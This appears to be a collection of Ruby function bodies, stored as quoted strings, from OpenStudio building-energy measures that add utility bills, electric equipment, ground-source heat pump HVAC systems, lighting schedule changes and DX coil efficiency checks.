#runner.registerInfo(\"GC.start\")\n #GC.start\n period_start_date = OpenStudio::DateTime.fromISO8601(from_date).get.date\n #period_start_date = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(from_date[1]), from_date[2], from_date[0])\n #period_end_date = OpenStudio::DateTime.fromISO8601(to_date).get.date - OpenStudio::Time.new(1.0)\n period_end_date = OpenStudio::DateTime.fromISO8601(to_date).get.date\n #period_end_date = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(to_date[1]), to_date[2], to_date[0])\n \n if (period_start_date < start_date) or (period_end_date > end_date)\n runner.registerInfo(\"skipping period #{period_start_date} to #{period_end_date}\")\n next\n end\n \n if period[\"#{data_key_name}\"].nil?\n runner.registerError(\"Billing period missing key:#{data_key_name} in: '#{period}'\")\n return false\n end\n data_key_value = period[\"#{data_key_name}\"].to_f\n \n # peak_kw = nil\n # if not period['peak_kw'].nil?\n # peak_kw = period['peak_kw'].to_f\n # end\n \n runner.registerInfo(\"period #{period}\")\n runner.registerInfo(\"period_start_date: #{period_start_date}, period_end_date: #{period_end_date}, #{data_key_name}: #{data_key_value}\")\n \n bp = utilityBill.addBillingPeriod()\n bp.setStartDate(period_start_date)\n bp.setEndDate(period_end_date)\n bp.setConsumption(data_key_value)\n # if peak_kw\n # bp.setPeakDemand(peak_kw)\n # end\n end\n end\n \n #reporting final condition of model\n runner.registerFinalCondition(\"Utility bill data has been added to the model.\")\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n return true\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure \n \n return args\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n space = runner.getOptionalWorkspaceObjectChoiceValue('space',user_arguments, model)\n elec_equip_def = runner.getOptionalWorkspaceObjectChoiceValue('elec_equip_def',user_arguments, model)\n schedule = runner.getOptionalWorkspaceObjectChoiceValue('schedule',user_arguments, model)\n multiplier = runner.getDoubleArgumentValue(\"multiplier\", user_arguments)\n\n # check arguments for reasonableness\n space = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(space, \"elec_equip_def\",\"to_Space\", runner, user_arguments)\n if space == false then return false else space = space[\"modelObject\"] end\n elec_equip_def = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(elec_equip_def, \"elec_equip_def\",\"to_ElectricEquipmentDefinition\", runner, user_arguments)\n if elec_equip_def == false then return false else elec_equip_def = elec_equip_def[\"modelObject\"] end\n schedule = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(schedule, \"elec_equip_def\",\"to_Schedule\", runner, user_arguments)\n if schedule == false then return false else schedule = schedule[\"modelObject\"] end\n if multiplier <= 0\n runner.registerError(\"Please choose a multiplier value greater than 0\")\n return false\n end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building started with #{model.getElectricEquipments.size} electric equipment instances.\")\n\n # create and populate instance\n elec_equip = OpenStudio::Model::ElectricEquipment.new(elec_equip_def)\n elec_equip.setSpace(space)\n elec_equip.setSchedule(schedule)\n elec_equip.setMultiplier(multiplier)\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getElectricEquipments.size} electric equipment instances.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\t\n\t\t# Assign the user inputs to variables\n\t\tspace_type_to_edits_hash = {}\n\t\tmodel.getSpaceTypes.each do |space_type|\n\t\t\tif space_type.spaces.size > 0\n\t\t\t\tspace_type_to_edit = runner.getBoolArgumentValue(space_type.name.get.to_s,user_arguments)\n\t\t\t\tspace_type_to_edits_hash[space_type] = space_type_to_edit \n\t\t\tend\t\t\n\t\tend\n\n\t\tbore_hole_no = runner.getIntegerArgumentValue(\"bore_hole_no\",user_arguments)\n\t\tbore_hole_length = runner.getDoubleArgumentValue(\"bore_hole_length\",user_arguments)\n\t\tbore_hole_radius = runner.getDoubleArgumentValue(\"bore_hole_radius\",user_arguments)\n\t\tground_k_value = runner.getDoubleArgumentValue(\"ground_k_value\",user_arguments)\n\t\tgrout_k_value = runner.getDoubleArgumentValue(\"grout_k_value\",user_arguments)\n\t\tsupplemental_boiler = runner.getStringArgumentValue(\"supplemental_boiler\",user_arguments)\t\n\t\t\n\t\tgshp_htg_cop = runner.getDoubleArgumentValue(\"gshp_htg_cop\",user_arguments)\n\t\tgshp_clg_eer = runner.getDoubleArgumentValue(\"gshp_clg_eer\",user_arguments)\n\t\tgshp_fan_type = runner.getStringArgumentValue(\"gshp_fan_type\",user_arguments)\n\t\t# condLoopCoolingTemp = runner.getDoubleArgumentValue(\"condLoopCoolingTemp\",user_arguments)\n\t\t# condLoopHeatingTemp = runner.getDoubleArgumentValue(\"condLoopHeatingTemp\",user_arguments)\n\t\t# coolingTowerWB = runner.getDoubleArgumentValue(\"coolingTowerWB\",user_arguments)\n\t\t# coolingTowerApproach= runner.getDoubleArgumentValue(\"coolingTowerApproach\",user_arguments)\n\t\t# coolingTowerDeltaT= runner.getDoubleArgumentValue(\"coolingTowerDeltaT\",user_arguments)\n\t\tboiler_cap = runner.getDoubleArgumentValue(\"boiler_cap\",user_arguments)\n\t\tboiler_eff= runner.getDoubleArgumentValue(\"boiler_eff\",user_arguments)\n\t\tboiler_fuel_type = runner.getStringArgumentValue(\"boiler_fuel_type\",user_arguments)\n\t\tboiler_hw_st= runner.getDoubleArgumentValue(\"boiler_hw_st\",user_arguments)\n\t\tdoas_fan_type = runner.getStringArgumentValue(\"doas_fan_type\",user_arguments)\n\t\tdoas_erv = runner.getStringArgumentValue(\"doas_erv\",user_arguments)\n\t\tdoas_evap = runner.getStringArgumentValue(\"doas_evap\",user_arguments)\n\t\tdoas_dx_eer= runner.getDoubleArgumentValue(\"doas_dx_eer\",user_arguments)\n\t\n ### START INPUTS\n #assign the user inputs to variables\n ceiling_return_plenum_space_type = runner.getOptionalWorkspaceObjectChoiceValue(\"ceiling_return_plenum_space_type\",user_arguments,model)\n cost_total_hvac_system = runner.getDoubleArgumentValue(\"cost_total_hvac_system\",user_arguments)\n remake_schedules = runner.getBoolArgumentValue(\"remake_schedules\",user_arguments)\n # check that space_type was chosen and exists in model\n ceiling_return_plenum_space_typeCheck = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(ceiling_return_plenum_space_type, \"ceiling_return_plenum_space_type\",\"to_SpaceType\", runner, user_arguments)\n if ceiling_return_plenum_space_typeCheck == false then return false else ceiling_return_plenum_space_type = ceiling_return_plenum_space_typeCheck[\"modelObject\"] end\n # default building/ secondary space types\n standardBuildingTypeTest = [] #ML Not used yet\n\t\t#secondarySpaceTypeTest = [\"Cafeteria\", \"Kitchen\", \"Gym\", \"Auditorium\"]\n standardBuildingTypeTest = [\"Office\"] #ML Not used yet\n secondarySpaceTypeTest = [] # empty for office\n primarySpaceType = \"Office\"\n\t\tif doas_fan_type == \"Variable\"\n\t\t\tprimaryHVAC = {\"doas\" => true, \"fan\" => \"Variable\", \"heat\" => \"Gas\", \"cool\" => \"SingleDX\"} \n\t\telse\n\t\t\tprimaryHVAC = {\"doas\" => true, \"fan\" => \"Constant\", \"heat\" => \"Gas\", \"cool\" => \"SingleDX\"}\n\t\tend\n secondaryHVAC = {\"fan\" => \"None\", \"heat\" => \"None\", \"cool\" => \"None\"} #ML not used for office; leave or empty?\n zoneHVAC = \"GSHP\"\n chillerType = \"None\" #set to none if chiller not used\n radiantChillerType = \"None\" #set to none if not radiant system\n allHVAC = {\"primary\" => primaryHVAC,\"secondary\" => secondaryHVAC,\"zone\" => zoneHVAC}\n\n\t\t\n ### END INPUTS\n\t\t\n\t\t# create a hash incorporating all user inputs on GSHP\n\t\tparameters = {\"gshpCoolingEER\" => gshp_clg_eer, \n\t\t\t\t\t\t\t\t\t\"gshpHeatingCOP\" => gshp_htg_cop, \n\t\t\t\t\t\t\t\t\t\"gshpFanType\" => gshp_fan_type,\n\t\t\t\t\t\t\t\t\t\"groundKValue\" => ground_k_value,\n\t\t\t\t\t\t\t\t\t\"groutKValue\" => grout_k_value,\n\t\t\t\t\t\t\t\t\t\"boreHoleNo\" => bore_hole_no,\n\t\t\t\t\t\t\t\t\t\"boreHoleLength\" => bore_hole_length,\n\t\t\t\t\t\t\t\t\t\"boreHoleRadius\" => bore_hole_radius,\n\t\t\t\t\t\t\t\t\t\"supplementalBoiler\" => supplemental_boiler,\n\t\t\t\t\t\t\t\t\t\"boilerCap\" => boiler_cap,\n\t\t\t\t\t\t\t\t\t\"boilerEff\" => boiler_eff,\n\t\t\t\t\t\t\t\t\t\"boilerFuelType\" => boiler_fuel_type,\n\t\t\t\t\t\t\t\t\t\"boilerHWST\" => boiler_hw_st,\n\t\t\t\t\t\t\t\t\t\"doasFanType\" => doas_fan_type,\n\t\t\t\t\t\t\t\t\t\"doasDXEER\" => doas_dx_eer,\n\t\t\t\t\t\t\t\t\t\"doasERV\" => doas_erv,\n\t\t\t\t\t\t\t\t\t\"doasEvap\" => doas_evap}\n\n ### START SORT ZONES\n options = {\"standardBuildingTypeTest\" => standardBuildingTypeTest, #ML Not used yet\n \"secondarySpaceTypeTest\" => secondarySpaceTypeTest,\n \"ceiling_return_plenum_space_type\" => ceiling_return_plenum_space_type}\n zonesSorted = OsLib_HVAC.sortZones(model, runner, options, space_type_to_edits_hash)\n zonesPrimary = zonesSorted[\"zonesPrimary\"]\n zonesSecondary = zonesSorted[\"zonesSecondary\"]\n zonesPlenum = zonesSorted[\"zonesPlenum\"]\n zonesUnconditioned = zonesSorted[\"zonesUnconditioned\"]\n ### END SORT ZONES\n \n ### START REPORT INITIAL CONDITIONS\n OsLib_HVAC.reportConditions(model, runner, \"initial\")\n ### END REPORT INITIAL CONDITIONS\n\n ### START ASSIGN HVAC SCHEDULES\n options = {\"primarySpaceType\" => primarySpaceType,\n \"allHVAC\" => allHVAC,\n \"remake_schedules\" => remake_schedules}\n schedulesHVAC = OsLib_HVAC.assignHVACSchedules(model, runner, options)\n # assign schedules\n primary_SAT_schedule = schedulesHVAC[\"primary_sat\"]\n building_HVAC_schedule = schedulesHVAC[\"hvac\"]\n building_ventilation_schedule = schedulesHVAC[\"ventilation\"]\n make_hot_water_plant = false\n unless schedulesHVAC[\"hot_water\"].nil?\n hot_water_setpoint_schedule = schedulesHVAC[\"hot_water\"]\n make_hot_water_plant = true\n end\n make_chilled_water_plant = false\n unless schedulesHVAC[\"chilled_water\"].nil?\n chilled_water_setpoint_schedule = schedulesHVAC[\"chilled_water\"]\n make_chilled_water_plant = true\n end\n make_radiant_hot_water_plant = false\n unless schedulesHVAC[\"radiant_hot_water\"].nil?\n radiant_hot_water_setpoint_schedule = schedulesHVAC[\"radiant_hot_water\"]\n make_radiant_hot_water_plant = true\n end\n make_radiant_chilled_water_plant = false\n unless schedulesHVAC[\"radiant_chilled_water\"].nil?\n radiant_chilled_water_setpoint_schedule = schedulesHVAC[\"radiant_chilled_water\"]\n make_radiant_chilled_water_plant = true\n end\n unless schedulesHVAC[\"hp_loop\"].nil?\n heat_pump_loop_setpoint_schedule = schedulesHVAC[\"hp_loop\"]\n end\n unless schedulesHVAC[\"hp_loop_cooling\"].nil?\n heat_pump_loop_cooling_setpoint_schedule = schedulesHVAC[\"hp_loop_cooling\"]\n end\n unless schedulesHVAC[\"hp_loop_heating\"].nil?\n heat_pump_loop_heating_setpoint_schedule = schedulesHVAC[\"hp_loop_heating\"]\n end\n unless schedulesHVAC[\"mean_radiant_heating\"].nil?\n mean_radiant_heating_setpoint_schedule = schedulesHVAC[\"mean_radiant_heating\"]\n end\n unless schedulesHVAC[\"mean_radiant_cooling\"].nil?\n mean_radiant_cooling_setpoint_schedule = schedulesHVAC[\"mean_radiant_cooling\"]\n end\n ### END ASSIGN HVAC SCHEDULES\n runner.registerInfo(\"number of bore holes are #{model.getBuilding.floorArea} m2\")\n # START REMOVE EQUIPMENT\n\t\toptions = {}\n\t\toptions[\"zonesPrimary\"] = zonesPrimary\n\t\tif options[\"zonesPrimary\"].empty?\n\t\t\trunner.registerInfo(\"User did not pick any zones to be added to GSHP system, no changes to the model were made.\")\n\t\telse\n\t\t\tOsLib_HVAC.removeEquipment(model, runner, options)\n\t\tend\n ### END REMOVE EQUIPMENT\n \n ### START CREATE NEW PLANTS\n # create new plants\n # hot water plant\n if make_hot_water_plant\n hot_water_plant = OsLib_HVAC.createHotWaterPlant(model, runner, hot_water_setpoint_schedule, \"Hot Water\", parameters)\n end\n # chilled water plant\n if make_chilled_water_plant\n chilled_water_plant = OsLib_HVAC.createChilledWaterPlant(model, runner, chilled_water_setpoint_schedule, \"Chilled Water\", chillerType)\n end\n # radiant hot water plant\n if make_radiant_hot_water_plant\n radiant_hot_water_plant = OsLib_HVAC.createHotWaterPlant(model, runner, radiant_hot_water_setpoint_schedule, \"Radiant Hot Water\")\n end\n # chilled water plant\n if make_radiant_chilled_water_plant\n radiant_chilled_water_plant = OsLib_HVAC.createChilledWaterPlant(model, runner, radiant_chilled_water_setpoint_schedule, \"Radiant Chilled Water\", radiantChillerType)\n end\n # condenser loop\n # need condenser loop if there is a water-cooled chiller or if there is a water source heat pump loop\n options = {}\n\t\toptions[\"zonesPrimary\"] = zonesPrimary\n options[\"zoneHVAC\"] = zoneHVAC\n if zoneHVAC.include? \"SHP\"\n options[\"loop_setpoint_schedule\"] = heat_pump_loop_setpoint_schedule\n options[\"cooling_setpoint_schedule\"] = heat_pump_loop_cooling_setpoint_schedule\n options[\"heating_setpoint_schedule\"] = heat_pump_loop_heating_setpoint_schedule\n end \n\t\tif options[\"zonesPrimary\"].empty?\n\t\t # runner.registerWarning(\"User did not pick any space types to be added to the WSHP system, no changes to the model were made\")\n\t\t\tcondenserLoops = {}\n\t\t\t# condenserLoops[\"condenser_loop\"] ={}\n\t\telse\n\t\t\tcondenserLoops = OsLib_HVAC.createCondenserLoop(model, runner, options, parameters)\n\t\tend\n unless condenserLoops[\"condenser_loop\"].nil?\n condenser_loop = condenserLoops[\"condenser_loop\"]\n end\n unless condenserLoops[\"heat_pump_loop\"].nil?\n heat_pump_loop = condenserLoops[\"heat_pump_loop\"]\n end\n ### END CREATE NEW PLANTS\n \n ### START CREATE PRIMARY AIRLOOPS\n # populate inputs hash for create primary airloops method\n options = {}\n options[\"zonesPrimary\"] = zonesPrimary\n options[\"primaryHVAC\"] = primaryHVAC\n options[\"zoneHVAC\"] = zoneHVAC\n if primaryHVAC[\"doas\"]\n options[\"hvac_schedule\"] = building_ventilation_schedule\n options[\"ventilation_schedule\"] = building_ventilation_schedule\n else\n # primary HVAC is multizone VAV\n unless zoneHVAC == \"DualDuct\"\n # primary system is multizone VAV that cools and ventilates\n options[\"hvac_schedule\"] = building_HVAC_schedule\n options[\"ventilation_schedule\"] = building_ventilation_schedule\n else\n # primary system is a multizone VAV that cools only (primary system ventilation schedule is set to always off; hvac set to always on)\n options[\"hvac_schedule\"] = model.alwaysOnDiscreteSchedule()\n end\n end\n options[\"primary_sat_schedule\"] = primary_SAT_schedule\n if make_hot_water_plant\n options[\"hot_water_plant\"] = hot_water_plant\n end\n if make_chilled_water_plant\n options[\"chilled_water_plant\"] = chilled_water_plant\n end\n primary_airloops = OsLib_HVAC.createPrimaryAirLoops(model, runner, options, parameters)\n ### END CREATE PRIMARY AIRLOOPS\n \n ### START CREATE SECONDARY AIRLOOPS\n # populate inputs hash for create primary airloops method\n options = {}\n options[\"zonesSecondary\"] = zonesSecondary\n options[\"secondaryHVAC\"] = secondaryHVAC\n options[\"hvac_schedule\"] = building_HVAC_schedule\n options[\"ventilation_schedule\"] = building_ventilation_schedule\n if make_hot_water_plant\n options[\"hot_water_plant\"] = hot_water_plant\n end\n if make_chilled_water_plant\n options[\"chilled_water_plant\"] = chilled_water_plant\n end\n secondary_airloops = OsLib_HVAC.createSecondaryAirLoops(model, runner, options)\n ### END CREATE SECONDARY AIRLOOPS\n \n ### START ASSIGN PLENUMS\n options = {\"zonesPrimary\" => zonesPrimary,\"zonesPlenum\" => zonesPlenum}\n zone_plenum_hash = OsLib_HVAC.validateAndAddPlenumZonesToSystem(model, runner, options)\n ### END ASSIGN PLENUMS\n \n ### START CREATE PRIMARY ZONE EQUIPMENT\n options = {}\n options[\"zonesPrimary\"] = zonesPrimary\n options[\"zoneHVAC\"] = zoneHVAC\n if make_hot_water_plant\n options[\"hot_water_plant\"] = hot_water_plant\n end\n if make_chilled_water_plant\n options[\"chilled_water_plant\"] = chilled_water_plant\n end\n if zoneHVAC.include? \"SHP\"\n options[\"heat_pump_loop\"] = heat_pump_loop\n end\n if zoneHVAC == \"DualDuct\"\n options[\"ventilation_schedule\"] = building_ventilation_schedule\n end\n if zoneHVAC == \"Radiant\"\n options[\"radiant_hot_water_plant\"] = radiant_hot_water_plant\n options[\"radiant_chilled_water_plant\"] = radiant_chilled_water_plant\n options[\"mean_radiant_heating_setpoint_schedule\"] = mean_radiant_heating_setpoint_schedule\n options[\"mean_radiant_cooling_setpoint_schedule\"] = mean_radiant_cooling_setpoint_schedule\n end\n OsLib_HVAC.createPrimaryZoneEquipment(model, runner, options, parameters)\n ### END CREATE PRIMARY ZONE EQUIPMENT\n \n # START ADD DCV\n options = {}\n unless zoneHVAC == \"DualDuct\"\n options[\"primary_airloops\"] = primary_airloops\n end\n options[\"secondary_airloops\"] = secondary_airloops\n options[\"allHVAC\"] = allHVAC\n OsLib_HVAC.addDCV(model, runner, options)\n # END ADD DCV\n \n # Add in lifecycle costs\n expected_life = 25\n years_until_costs_start = 0\n costHVAC = cost_total_hvac_system\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"HVAC System\", model.getBuilding, costHVAC, \"CostPerEach\", \"Construction\", expected_life, years_until_costs_start).get\n\n ### START REPORT FINAL CONDITIONS\n OsLib_HVAC.reportConditions(model, runner, \"final\")\n ### END REPORT FINAL CONDITIONS\n\n return true\n\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new \n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure\n \n return args\n end",
"def parameter_string\n @run_name + \".trin\"\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n lights_def_object = runner.getOptionalWorkspaceObjectChoiceValue(\"light_def\",user_arguments,model)\n new_lighting_sch_object = runner.getOptionalWorkspaceObjectChoiceValue(\"new_lighting_sch\",user_arguments,model)\n material_and_installation_cost = runner.getDoubleArgumentValue(\"material_and_installation_cost\",user_arguments)\n expected_life = runner.getIntegerArgumentValue(\"expected_life\",user_arguments)\n \n #check the lighting_def argument to make sure it still is in the model\n lights_def = nil\n if lights_def_object.empty?\n handle = runner.getStringArgumentValue(\"lighting_def\",user_arguments)\n if handle.empty?\n runner.registerError(\"No lighting definition was chosen.\")\n else\n runner.registerError(\"The selected lighting definition with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if lights_def_object.get.to_LightsDefinition.is_initialized\n lights_def = lights_def_object.get.to_LightsDefinition.get\n end\n end\n\n #check the new_lighting_sch argument to make sure it still is in the model\n new_lighting_sch = nil\n if new_lighting_sch_object.empty?\n handle = runner.getStringArgumentValue(\"new_lighting_sch\",user_arguments)\n if handle.empty?\n runner.registerError(\"No new lighting schedule was chosen.\")\n else\n runner.registerError(\"The selected new lighting schedule with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if new_lighting_sch_object.get.to_ScheduleRuleset.is_initialized\n new_lighting_sch = new_lighting_sch_object.get.to_ScheduleRuleset.get\n end\n end \n \n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #replace lighting schedule for all fixtures of a given type with the new schedule\n number_of_fixtures_affected = 0\n if apply_to_building #apply to the whole building\n model.getLightss.each do |light_fixture|\n if light_fixture.lightsDefinition == lights_def\n light_fixture.setSchedule(new_lighting_sch)\n number_of_fixtures_affected += light_fixture.multiplier\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n space_type.lights.each do |light_fixture|\n if light_fixture.lightsDefinition == lights_def\n light_fixture.setSchedule(new_lighting_sch)\n number_of_fixtures_affected += light_fixture.multiplier\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n space.lights.each do |light_fixture|\n if light_fixture.lightsDefinition == lights_def\n light_fixture.setSchedule(new_lighting_sch)\n number_of_fixtures_affected += light_fixture.multiplier\n end\n end \n end\n end\n \n # add costs\n if material_and_installation_cost != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Added lighting controls to #{number_of_fixtures_affected.round} light fixtures\", model.getBuilding, material_and_installation_cost, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has a number of #{lights_def.name.get} light fixtures, which could be made to save energy through better controls.\") \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Added lighting controls to #{number_of_fixtures_affected.round} existing #{lights_def.name.get} light fixtures throughout the building. The total cost to install the controls is $#{material_and_installation_cost}.\")\n else\n runner.registerFinalCondition(\"Added lighting controls to #{number_of_fixtures_affected.round} existing #{lights_def.name.get} light fixtures in #{space_type.name} spaces throughout the building. The total cost to install the controls is $#{material_and_installation_cost}.\")\n end\n \n return true\n \n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n \r\n # Use the built-in error checking \r\n if not runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n # Assign the user inputs to variables\r\n object = runner.getOptionalWorkspaceObjectChoiceValue(\"object\",user_arguments,model)\r\n cooling_coil_type = runner.getStringArgumentValue(\"cooling_coil_type\",user_arguments)\r\n rated_cc_eer = runner.getOptionalDoubleArgumentValue(\"rated_cc_eer\",user_arguments)\r\n three_quarter_cc_eer = runner.getOptionalDoubleArgumentValue(\"three_quarter_cc_eer\",user_arguments) \r\n half_cc_eer = runner.getOptionalDoubleArgumentValue(\"half_cc_eer\",user_arguments) \r\n quarter_cc_eer = runner.getOptionalDoubleArgumentValue(\"quarter_cc_eer\",user_arguments)\r\n heating_coil_type = runner.getStringArgumentValue(\"heating_coil_type\",user_arguments)\r\n rated_hc_gas_efficiency = runner.getOptionalDoubleArgumentValue(\"rated_hc_gas_efficiency\",user_arguments) \r\n rated_hc_cop = runner.getOptionalDoubleArgumentValue(\"rated_hc_cop\",user_arguments)\r\n three_quarter_hc_cop = runner.getOptionalDoubleArgumentValue(\"three_quarter_hc_cop\",user_arguments)\r\n half_hc_cop = runner.getOptionalDoubleArgumentValue(\"half_hc_cop\",user_arguments)\r\n quarter_hc_cop = runner.getOptionalDoubleArgumentValue(\"quarter_hc_cop\",user_arguments)\r\n #old E+ measure ags\r\n vent_fan_speed = runner.getOptionalDoubleArgumentValue(\"vent_fan_speed\",user_arguments)\r\n stage_one_cooling_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_one_cooling_fan_speed\",user_arguments) \r\n stage_two_cooling_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_two_cooling_fan_speed\",user_arguments) \r\n stage_three_cooling_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_three_cooling_fan_speed\",user_arguments) \r\n stage_four_cooling_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_four_cooling_fan_speed\",user_arguments)\r\n stage_one_heating_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_one_heating_fan_speed\",user_arguments) \r\n stage_two_heating_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_two_heating_fan_speed\",user_arguments) \r\n stage_three_heating_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_three_heating_fan_speed\",user_arguments) \r\n stage_four_heating_fan_speed = runner.getOptionalDoubleArgumentValue(\"stage_four_heating_fan_speed\",user_arguments)\r\n \r\n \r\n if rated_cc_eer.empty?\r\n runner.registerError(\"User must enter a value for the rated capacity cooling coil EER.\")\r\n return false\r\n elsif rated_cc_eer.to_f <= 0\r\n runner.registerError(\"Invalid rated cooling coil EER value of #{rated_cc_eer} entered. EER must be >0.\")\r\n return false\r\n end\r\n\r\n if three_quarter_cc_eer.empty? && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"User must enter a value for 75% capacity cooling coil EER.\")\r\n return false\r\n elsif three_quarter_cc_eer.to_f <= 0 && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"Invalid 75% capacity cooling coil EER value of #{three_quarter_cc_eer} entered. EER must be >0.\")\r\n return false\r\n end\r\n\r\n if half_cc_eer.empty?\r\n runner.registerError(\"User must enter a value for 50% capacity cooling coil EER.\")\r\n return false\r\n elsif half_cc_eer.to_f <= 0\r\n runner.registerError(\"Invalid 50% capacity cooling coil EER value of #{half_cc_eer} entered. EER must be >0.\")\r\n return false\r\n end\r\n \r\n if quarter_cc_eer.empty? && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"User must enter a value for 25% capacity cooling coil EER.\")\r\n return false\r\n elsif quarter_cc_eer.to_f <= 0 && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"Invalid 25% capacity cooling coil EER value of #{quarter_cc_eer} entered. EER must be >0.\")\r\n return false\r\n end\r\n\r\n if rated_hc_gas_efficiency.empty? && heating_coil_type == \"Gas Heating Coil\"\r\n runner.registerError(\"User must enter a value for the rated gas heating coil efficiency.\")\r\n return false\r\n elsif rated_hc_gas_efficiency.to_f <= 0 && heating_coil_type == \"Gas Heating Coil\"\r\n runner.registerError(\"Invalid rated heating coil efficiency value of #{rated_hc_gas_efficiency} entered. Value must be >0.\")\r\n return false\r\n elsif rated_hc_gas_efficiency.to_f > 1 && heating_coil_type == \"Gas Heating Coil\"\r\n runner.registerError(\"Invalid rated heating coil efficiency value of #{rated_hc_gas_efficiency} entered. Value must be between 0 and 1.\")\r\n return false\r\n end\r\n \r\n if rated_hc_cop.empty? && heating_coil_type == \"Heat Pump\"\r\n runner.registerError(\"User must enter a value for the rated heating coil COP.\")\r\n return false\r\n elsif rated_hc_cop.to_f <= 0 && heating_coil_type == \"Heat Pump\"\r\n runner.registerError(\"Invalid rated heating coil COP value of #{rated_hc_cop} entered. COP must be >0.\")\r\n return false\r\n end\r\n \r\n if three_quarter_hc_cop.empty? && heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"User must enter a value for 75% capacity heating coil COP.\")\r\n return false\r\n elsif half_hc_cop.to_f <= 0 && heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"Invalid 75% capacity heating coil COP value of #{three_quarter_hc_cop} entered. COP must be >0.\")\r\n return false\r\n end\r\n\r\n if half_hc_cop.empty? && heating_coil_type == \"Heat Pump\"\r\n runner.registerError(\"User must enter a value for 50% capacity heating coil COP.\")\r\n return false\r\n elsif half_hc_cop.to_f <= 0 && heating_coil_type == \"Heat Pump\"\r\n runner.registerError(\"Invalid 50% capacity heating coil COP value of #{half_hc_cop} entered. COP must be >0.\")\r\n return false\r\n end\r\n\r\n if quarter_hc_cop.empty? && heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"User must enter a value for 25% capacity heating coil COP.\")\r\n return false\r\n elsif quarter_hc_cop.to_f <= 0 && heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Four-Stage Compressor\"\r\n runner.registerError(\"Invalid 25% capacity heating coil COP value of #{quarter_hc_cop} entered. COP must be >0.\")\r\n return false\r\n end\r\n \r\n # Check the air loop selection\r\n apply_to_all_air_loops = false\r\n selected_airloop = nil\r\n if object.empty?\r\n handle = runner.getStringArgumentValue(\"object\",user_arguments)\r\n if handle.empty?\r\n runner.registerError(\"No air loop was chosen.\")\r\n else\r\n runner.registerError(\"The selected air loop with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\r\n end\r\n return false\r\n else\r\n if not object.get.to_AirLoopHVAC.empty?\r\n selected_airloop = object.get.to_AirLoopHVAC.get\r\n elsif not object.get.to_Building.empty?\r\n apply_to_all_air_loops = true\r\n else\r\n runner.registerError(\"Script Error - argument not showing up as air loop.\")\r\n return false\r\n end\r\n end #end of if 